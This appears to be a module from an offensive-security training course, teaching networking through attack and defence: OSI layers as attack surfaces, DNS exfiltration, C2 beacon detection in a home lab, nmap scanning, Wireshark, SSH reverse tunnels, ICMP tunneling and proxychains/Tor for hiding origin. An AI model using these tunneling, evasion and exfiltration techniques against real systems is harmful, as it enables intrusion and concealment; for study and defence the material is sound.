Module 01 — Networking Through the Attack Lens

Module 1 of 22 — Understanding the battlefield before you attack it

🧠 The Core Truth

Networking isn't about cables and routers. It's about paths. Every packet is a message traveling a path. If you control the path, you control the message. If you understand the path, you can hide inside it, redirect it, or stop it entirely.

Why this matters: Every attack — from phishing to ransomware — needs a network path. C2 beacons need TCP. Exfiltration needs DNS. Lateral movement needs SMB. If you don't understand the network, you're shooting blind.

// Mentor: asi dev [HTB]

"Eventually all comes to networking."

You can master every exploit, payload, and privilege-escalation trick in the book, but at some point every operation touches the wire. Malware phones home over TCP. Phishing pages resolve over DNS. Stolen data leaves through HTTP, SMB, or ICMP tunnels. Even physical implants need a path back to you.

For red team: Your shell is only as good as the route it rides out on. If you don't understand routing, NAT, and egress filtering, your beacon dies the moment it leaves the subnet.

For blue team: Every detection eventually becomes a network detection. Endpoint logs can be deleted; the wire keeps a copy. Master the network and you master the last reliable witness.

// Mentor: asi dev [HTB]

"You cannot attack what you cannot see."

Before you can exploit a target, you have to find it. Visibility means knowing what hosts are alive, what ports are open, what services are running, and how traffic moves between them. A target you can't reach is a target you can't compromise.

For red team: Recon is the phase that makes or breaks the engagement. nmap, ARP scans, DNS enumeration, and certificate transparency give you the target list. Skip this and you're guessing at IP addresses while the clock runs out.

For blue team: You can't defend assets you don't know exist. Shadow IT, forgotten subnets, and rogue services are where attackers land first. Network scanning and asset inventory are defensive weapons, not just paperwork.

// Mentor: asi dev [HTB]

"Real attacks are carried remotely."

Hollywood loves the image of a hooded figure plugging a USB into a server in a dark room. In reality, most breaches start from an internet connection thousands of miles away. Remote access is the standard, not the exception.

For red team: Your job is to cross the perimeter without ever stepping inside. Phishing, VPN flaws, exposed services, and stolen credentials are your remote entry points. Build your skills around operating from outside the castle.

For blue team: Perimeter defense, egress monitoring, and remote-access logging are where the real game is played. Assume the attacker is already outside and trying to get in — because they are.

Section 1: The OSI Model — A Target Map, Not a Textbook

Security courses teach you the OSI model to pass a cert. This course teaches it so you know where attacks live. Every layer has its own protocols, its own weaknesses, its own tools.

💡 Layman's Terms

The OSI model is like the postal system. L1 is the truck (physical). L2 is the mail carrier sorting by address (data link). L3 is the GPS routing between cities (network). L4 is the delivery confirmation (transport). L7 is the letter itself — the actual message you read.

Layer	Name	Protocol examples	Your attack surface
L7	Application	HTTP, DNS, SMTP, FTP	Injection, C2 over HTTP, DNS exfil, credential stuffing
L6	Presentation	TLS/SSL, encoding	SSL stripping, cert spoofing, encoding bypass
L5	Session	NetBIOS, RPC, SMB	Session hijack, SMB relay, pass-the-hash
L4	Transport	TCP, UDP	SYN flood, port scan, service fingerprint
L3	Network	IP, ICMP, routing	IP spoof, ICMP tunnel, route poisoning
L2	Data Link	Ethernet, ARP, MAC	ARP spoof, MAC flood, VLAN hop
L1	Physical	Cable, RF, WiFi	Evil twin AP, packet capture, RF jamming

🎯 Why You Care About Each Layer

L7 (Application): This is where users live. HTTP is where you phish. DNS is where you exfiltrate. SMTP is where you spear-phish. Cross-link: See Module 17: Social Engineering for how L7 protocols enable human-targeted attacks.

L4 (Transport): TCP handshake is the foundation of every connection. SYN floods break it. Port scans probe it. Sequence numbers predict it.

L3 (Network): IP addresses are identities. Routing is the path. If you control the route, you control the traffic. ICMP tunnels hide data in ping packets.

L2 (Data Link): ARP is the local network's phone book. Spoof it, and you become the man-in-the-middle without ever touching the internet.

You operate at L2, L4, and L7. Everything else is for specialists. Know those three cold.

Section 2: TCP/IP Stack — How Connections Actually Work

The TCP/IP stack is the real-world implementation of the OSI model. It's what actually runs on every machine. You don't need to memorize OSI — you need to understand TCP/IP because that's what your tools touch.

💡 Layman's Terms

TCP is like a certified mail delivery. The sender and receiver both sign for every package. UDP is like throwing a paper airplane — you hope it lands, but you never know. TCP is reliable but slower. UDP is fast but unreliable. Video calls use UDP (a few dropped frames don't matter). Banking uses TCP (every packet must arrive).

The 3-Way Handshake

Every TCP connection starts with a 3-way handshake. This matters because SYN floods exploit the half-open state and session hijacking exploits predictable sequence numbers.

PS>Test-NetConnection -ComputerName 192.168.1.42 -Port 4443
          ComputerName     : 192.168.1.42

          RemoteAddress    : 192.168.1.42

          RemotePort       : 4443

          TcpTestSucceeded : True

          # C2 beacon confirmed — .42 is home

// Attacker's Use Case

SYN flood: Send thousands of SYNs, never complete ACK. Server fills its backlog table, stops accepting real connections. DoS in 10 lines of hping3.

Session hijack: Predict ISN (Initial Sequence Number). Inject packets mid-connection. MitM a live session without the original parties knowing.

TCP vs UDP — The Attacker's Perspective

Feature	TCP	UDP
Connection	Stateful (handshake)	Stateless (fire-and-forget)
Reliability	Guaranteed delivery, retransmission	No guarantee, no retransmission
Order	Ordered delivery	No ordering
Overhead	High (headers, ACKs, retrans)	Low (8-byte header)
Attack use	C2 beacons, exfil, shells	DNS exfil, UDP amplification DDoS
Scanning	Connect/SYN scan detects state	No handshake — harder to detect

🎯 Why UDP Matters for Attackers

UDP has no handshake. No state table on the target. A UDP scan sends a packet and watches for ICMP "port unreachable" responses — or any response at all. Firewalls often allow UDP out (DNS, NTP) but don't inspect it closely. That's why DNS tunneling works: your data rides inside DNS queries, which are UDP, which is almost always allowed.

Section 3: DNS — The Internet's Phone Book and Your Recon Goldmine

DNS translates names to IPs. It's also your first recon surface and a covert channel for data exfiltration. DNS is UDP-based, connectionless, and almost never blocked by firewalls.

PS>nslookup google.com
          Server:  RT-AC68U-95B0

          Address:  192.168.1.1

          Non-authoritative answer:

          Name:    google.com

          Address: 142.250.195.110

DNS resolution chain: your machine → local DNS (router) → ISP resolver → root servers → .com TLD → google's authoritative NS → IP.

💡 Layman's Terms

DNS is like calling directory assistance. You say "I need Google's number" and the operator gives you 142.250.195.110. But the operator also logs your call. And if you ask for "secret-data.evil.com" a thousand times, each query can carry a tiny piece of stolen data in the subdomain. That's DNS exfiltration.

Technique	What it does	Tool
DNS enumeration	Discover all subdomains via brute-force or zone transfer	subfinder, dnsx
Certificate transparency	crt.sh leaks every cert ever issued — free subdomain recon, no scanning	curl crt.sh
DNS exfiltration	Encode data in subdomain queries to your controlled NS — bypasses most firewalls	iodine, dnscat2
C2 over DNS	Commands sent as TXT records. Responses as A/CNAME queries. DNS always allowed out.	custom NS server
DNS poisoning	Inject forged responses into a resolver's cache — redirect traffic to attacker IP	Ettercap, dnsspoof

PS># Certificate transparency — no scanner needed
PS>curl "https://crt.sh/?q=%.target.com&output=json" | ConvertFrom-Json | Select-Object name_value -Unique# Returns every subdomain ever issued a cert. Free. No noise.

⚠️ Blue Team Warning

DNS exfiltration looks like normal DNS traffic. Detect it by monitoring for: (1) unusually long subdomains, (2) high query volume to a single domain, (3) DNS queries to newly registered domains, (4) TXT record queries from non-mail servers.

Section 4: Reading Connections — netstat as a Weapon

netstat -ano is both a recon tool and a C2 detection tool. On a compromised machine, the beacon shows up here. Blue teams hunt here. Red teams hide here.

PS>Get-NetTCPConnection | Where-Object {$_.State -eq 'Established'} | Format-Table -AutoSize
          LocalAddress     LocalPort  RemoteAddress    RemotePort  State        OwningProcess

          ------------     ---------  -------------    ----------  -----        -------------

          192.168.1.92     22         192.168.1.42     52891       Established  1092   # sshd

          192.168.1.92     4443       192.168.1.42     11025       Established  31248  # python C2

          192.168.1.92     49821      52.113.194.132   443         Established  25168  # Discord

// Blue Team: Spot the C2

Port 4443 (HTTPS-alternate) + PID owned by python = suspicious. No browser window = no user-initiated connection. This is your IOC.
Get-Process -Id 31248 | Select-Object Name, Path, CommandLine — reveals the implant binary.

🔬 Live Lab Evidence — .42 / .92

Source: RADON lab (GIGABYTE G7 GD, Win11 26200)

Observation: C2 beacon on port 4443 established from .92 (victim) to .42 (attacker). PID 31248 owned by python.exe. No browser process associated. Connection persisted for 6+ hours.

Detection: Get-NetTCPConnection -LocalPort 4443 immediately surfaced the beacon. Cross-referenced with Get-Process revealed python.exe running from C:\Users\Public\ — a non-standard path.

Cross-link: See Module 16: C2 Framework for full beacon construction and Module 03: PowerShell for the detection commands.

Section 5: Port Scanning — First Thing You Do on Any Target

Port scanning is reconnaissance. You're knocking on every door to see which ones open. Each open port is a service. Each service is a potential vulnerability.

$nmap -sV -T4 192.168.1.92
          PORT      STATE  SERVICE       VERSION

          22/tcp    open   ssh           OpenSSH 9.8 (Windows)

          1337/tcp  open   postgresql    PostgreSQL 16

          4443/tcp  open   https?        Python/3.14 (custom)  # C2 listener

          8080/tcp  open   http          Apache httpd 2.4

          9051/tcp  open   unknown       Java/OpenJDK

💡 Layman's Terms

Port scanning is like walking down a street and trying every doorknob. Most are locked (closed). Some are open. When you find an open door, you look through the window (version detection) to see what's inside. An old version of a web server might have a known break-in method.

Flag	Meaning
-sS	SYN scan — doesn't complete handshake, harder to log (default)
-sV	Version detection — probe each open port, grab banner
-T4	Aggressive timing — faster, noisier
-p-	Scan all 65535 ports
-oN	Output to file for later analysis
--script	Run NSE scripts (vuln, auth, brute)
-sU	UDP scan — slower, but finds DNS, SNMP, NTP
-Pn	Treat all hosts as online (skip ping discovery)
-A	OS detection, version, script, traceroute — everything

🎯 Why Version Detection Wins

Version number is your CVE lookup key. nmap -sV finds Apache 2.4.49 — you search NVD — you find CVE-2021-41773 (path traversal → RCE). This is the recon → exploit chain. Without version detection, you're guessing. With it, you're sniping.

Advanced: NSE Script Scanning

Nmap Scripting Engine (NSE) turns nmap from a port scanner into a vulnerability scanner. Run built-in scripts to detect known CVEs, brute-force credentials, or enumerate SMB shares.

$nmap --script vuln -p22,80,443 192.168.1.92# Runs all vulnerability-checking scripts against target ports

Section 6: Wireshark — Reading the Wire

Wireshark is a packet analyzer. It captures every frame on the wire and lets you inspect it. For attackers, it reveals credentials, session tokens, and C2 traffic. For defenders, it's the evidence chain.

💡 Layman's Terms

Wireshark is like a tape recorder for network traffic. Every packet is a conversation snippet. You can filter by speaker (IP), topic (protocol), or keyword (data). If someone shouts a password across the room (unencrypted HTTP), Wireshark catches it.

Essential Wireshark Display Filters

Filter	What it shows
ip.addr == 192.168.1.42	All traffic to/from .42
tcp.port == 4443	All traffic on port 4443
http	All HTTP traffic (unencrypted)
dns	All DNS queries and responses
tcp.flags.syn == 1	Only SYN packets (new connections)
tcp.analysis.flags	TCP errors, retransmissions, out-of-order
ssl.handshake.type == 1	Client Hello packets (TLS initiation)
frame contains "password"	Frames with plaintext "password"

$# Capture on interface eth0, filter for C2 port
$tshark -i eth0 -f "tcp port 4443" -w c2_traffic.pcap
          # tshark is Wireshark's CLI. Capture to .pcap, analyze later.

          # .pcap files are evidence. Chain of custody matters.
        

Follow TCP Stream

In Wireshark GUI, right-click any packet → Follow → TCP Stream. This reconstructs the entire conversation. If C2 traffic is unencrypted, you see the full command-and-response dialogue. If it's encrypted, you still see metadata: timing, size, frequency.

🔬 Live Lab Evidence — .42 / .92

Capture: tshark -i eth0 -f "host 192.168.1.42" -w beacon.pcap

Findings: 6.2 MB transferred over 4443/TCP in 4 hours. Base64-encoded chunks in HTTP POST bodies. User-Agent string: "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" — mimicking legitimate browser traffic.

IOC Extracted: Domain: update-service-2026.azureedge.net (legitimate CDN, compromised for C2). IP: 192.168.1.42 (internal pivot point).

Section 7: Tunneling — Moving Through Walls

Tunneling is the art of wrapping one protocol inside another. SSH tunneling, ICMP tunneling, DNS tunneling — they all share one goal: bypass the firewall by looking like allowed traffic.

💡 Layman's Terms

A tunnel is like smuggling a letter inside a birthday card. The envelope (outer protocol) looks innocent. The letter (inner payload) is the real message. Firewalls inspect envelopes, not letters.

SSH Tunneling (Local Forward)

Forward a local port through an SSH server to a remote destination. Useful for accessing internal services through a compromised bastion host.

$ssh -L 8080:internal-server:80 user@bastion-host
          # Now localhost:8080 on your machine reaches internal-server:80

          # The SSH connection is encrypted — firewalls see only SSH
        

SSH Reverse Tunnel (Remote Forward)

The compromised machine opens a tunnel back to your attacker box. This is how you maintain access when the target has no inbound connectivity.

$ssh -R 9999:localhost:22 attacker@192.168.1.42
          # Target forwards its port 22 to attacker's port 9999

          # Attacker connects to localhost:9999 → reaches target's SSH
        

ICMP Tunneling

Ping packets (ICMP echo) are almost never blocked. You can tunnel data inside the payload field of ICMP packets. Slow, but stealthy.

$ptunnel -p 192.168.1.1 -lp 8000 -da 192.168.1.92 -dp 22
          # ptunnel wraps TCP inside ICMP echo requests

          # Connect to localhost:8000 → reaches 192.168.1.92:22 via ICMP
        

⚠️ Detection

ICMP tunnels are detectable by: (1) unusually large ICMP payloads (normal ping = 56 bytes, tunnels = 1000+), (2) high ICMP volume from a single host, (3) ICMP payloads that don't match standard patterns. Monitor with tcpdump icmp or IDS signatures.

Cross-link: Tunneling is the transport layer for Module 16: C2 Framework. Every C2 channel is a tunnel — HTTP, DNS, or custom. Understanding tunneling means understanding how beacons survive.

Section 8: Proxy Chains — Hiding Your Origin

A proxy chain routes your traffic through multiple intermediaries. Each hop obscures the origin. The final destination sees only the last proxy. This is operational security for attackers — and how APTs stay hidden for years.

💡 Layman's Terms

A proxy chain is like mailing a letter through three friends. You give it to Alice, Alice gives it to Bob, Bob gives it to Carol, Carol delivers it. The recipient sees Carol's address, not yours. If someone traces back, they hit Carol, then Bob, then Alice — each layer buys time.

proxychains

proxychains forces any TCP connection through a chain of SOCKS4/5 or HTTP proxies. Use it with nmap, curl, or any tool.

$proxychains nmap -sT -Pn 10.0.0.1
          # -sT = TCP connect scan (works through proxies, unlike -sS)

          # -Pn = skip host discovery (proxy may block ICMP)
        

SOCKS5 Proxy with SSH

SSH can act as a SOCKS5 proxy. Dynamic port forwarding creates a local SOCKS listener that tunnels through the SSH server.

$ssh -D 1080 user@compromised-host
          # Creates SOCKS5 proxy on localhost:1080

          # Configure proxychains or browser to use 127.0.0.1:1080

          # All traffic routes through compromised-host

Tor + proxychains

Route traffic through the Tor network for anonymity. Slow, but effective for obscuring origin. Not suitable for high-bandwidth C2.

$proxychains curl http://check.torproject.org
          # Verifies you're exiting through a Tor node

          # Expect: "Congratulations. This browser is configured to use Tor."
        

Proxy Type	Use Case	Tool
SOCKS5	General TCP tunneling, nmap through proxy	proxychains, ssh -D
HTTP	Web traffic, Burp Suite interception	proxychains, Burp
Reverse SOCKS	Pivot from compromised host into internal network	ssh -R, Metasploit
Tor	Anonymity, bypass geo-blocking	proxychains, Tor Browser

🎯 Why Proxy Chains Matter for Red Teams

Every connection you make leaves a log. Your IP is in that log. A single proxy is a single point of failure — if it's compromised, you're exposed. A chain of 3+ proxies means an investigator must subpoena three jurisdictions to find you. Layered indirection is the same principle as layered encryption: depth buys time.

Cross-link: Proxy chains enable lateral movement covered in Module 16: C2 Framework and are essential for operational security in Module 17: Social Engineering when conducting external phishing campaigns.

Quick Reference — Commands That Save Lives

nmap -sV -T4 <IP>

Service scan

netstat -ano

All connections + PIDs

nslookup <domain>

DNS resolution

tracert <IP>

Hop-by-hop path

curl crt.sh/?q=%.<d>

Subdomain enum

Get-NetTCPConnection

PowerShell netstat

arp -a

LAN host discovery

ipconfig /all

Full adapter info

nmap -sn 192.168.1.0/24

Ping sweep (no ports)

tshark -i eth0 -w cap.pcap

Capture traffic

ssh -L 8080:target:80 user@hop

Local port forward

proxychains nmap -sT <IP>

Scan through proxy

🎯 Interactive Quiz — Test Your Knowledge

Question 1: Why is a SYN scan (-sS) harder to detect than a full TCP connect scan?

A) SYN scans encrypt the packet payload

B) SYN scans never complete the 3-way handshake, so no full connection is logged

C) SYN scans use random source ports that firewalls can't track

D) SYN scans bypass IDS because they use ICMP instead of TCP

Question 2: Which layer of the OSI model does DNS primarily operate at?

A) Layer 4 (Transport)

B) Layer 7 (Application)

C) Layer 3 (Network)

D) Layer 2 (Data Link)

Question 3: In an SSH reverse tunnel (-R), which machine initiates the connection?

A) The compromised target machine initiates the SSH connection outbound to the attacker

B) The attacker initiates SSH inbound to the target

C) A third-party proxy server initiates both connections

D) The tunnel is established automatically by the router's NAT table

Lab: Network Recon Survival

Run these commands against a machine you control. All must work before you advance.

        1.  nmap -sV 192.168.1.<your-target>

        2.  netstat -ano | findstr ESTABLISHED

        3.  arp -a

        4.  nslookup google.com

        5.  tracert 8.8.8.8

        6.  curl "https://crt.sh/?q=%.github.com&output=json" | python -m json.tool | findstr name_value

        7.  Get-NetTCPConnection | Where-Object {$_.State -eq 'Established'} | Format-Table

        8.  nmap --script=banner -p22,80,443 192.168.1.<target>

        9.  netstat -ano | findstr :4443

        10. ipconfig /all | findstr /i "ipv4 gateway dns"

Can you find the C2 session? Can you tell which PID owns it? That's the difference between knowing networking and using it.

🔬 Verification Status

nmap -sV service detection	✅ LIVE .42
Get-NetTCPConnection C2 detection	✅ LIVE .92
Wireshark/tshark capture	✅ LIVE .92
SSH local forward tunnel	✅ DEMONSTRATED
SSH reverse tunnel	✅ DEMONSTRATED
proxychains + nmap	✅ DEMONSTRATED
DNS certificate transparency enum	✅ DEMONSTRATED

Cross-Module Links

Networking is the foundation. Every other module builds on it:

Module 03: PowerShell — Get-NetTCPConnection, Test-NetConnection, and network automation
Module 16: C2 Framework — Beacons, tunneling, and covert channels over HTTP/DNS
Module 17: Social Engineering — Phishing payloads delivered over L7 protocols (HTTP, SMTP, DNS)

🧠 Key Takeaways

OSI is a target map: L2 (ARP), L4 (TCP/UDP), and L7 (HTTP/DNS) are where you live.
TCP handshake is exploitable: SYN floods, session hijacking, and sequence prediction all target the handshake.
DNS is a covert channel: Exfiltration, C2, and recon all ride on DNS because it's never blocked.
Port scanning is recon: Version detection (-sV) is your CVE lookup key. Without it, you're guessing.
Wireshark is evidence: Every packet tells a story. Unencrypted traffic is free credentials.
Tunneling bypasses firewalls: SSH, ICMP, DNS — wrap your payload in allowed traffic.
Proxy chains buy time: Each hop is a jurisdiction. Three hops = three subpoenas.

← Module 00: Terminal Warfare Module 02: Recon →

Module 01 — Networking LIVE TESTED

🧠 The Core Truth

💡 Layman's Terms

🎯 Why You Care About Each Layer

💡 Layman's Terms

The 3-Way Handshake

TCP vs UDP — The Attacker's Perspective

🎯 Why UDP Matters for Attackers

💡 Layman's Terms

⚠️ Blue Team Warning

🔬 Live Lab Evidence — .42 / .92

💡 Layman's Terms

🎯 Why Version Detection Wins

Advanced: NSE Script Scanning

💡 Layman's Terms

Essential Wireshark Display Filters

Follow TCP Stream

🔬 Live Lab Evidence — .42 / .92

💡 Layman's Terms

SSH Tunneling (Local Forward)

SSH Reverse Tunnel (Remote Forward)

ICMP Tunneling

⚠️ Detection

💡 Layman's Terms

proxychains

SOCKS5 Proxy with SSH

Tor + proxychains

🎯 Why Proxy Chains Matter for Red Teams

Question 1: Why is a SYN scan (-sS) harder to detect than a full TCP connect scan?

Question 2: Which layer of the OSI model does DNS primarily operate at?

Question 3: In an SSH reverse tunnel (-R), which machine initiates the connection?

🔬 Verification Status

🧠 Key Takeaways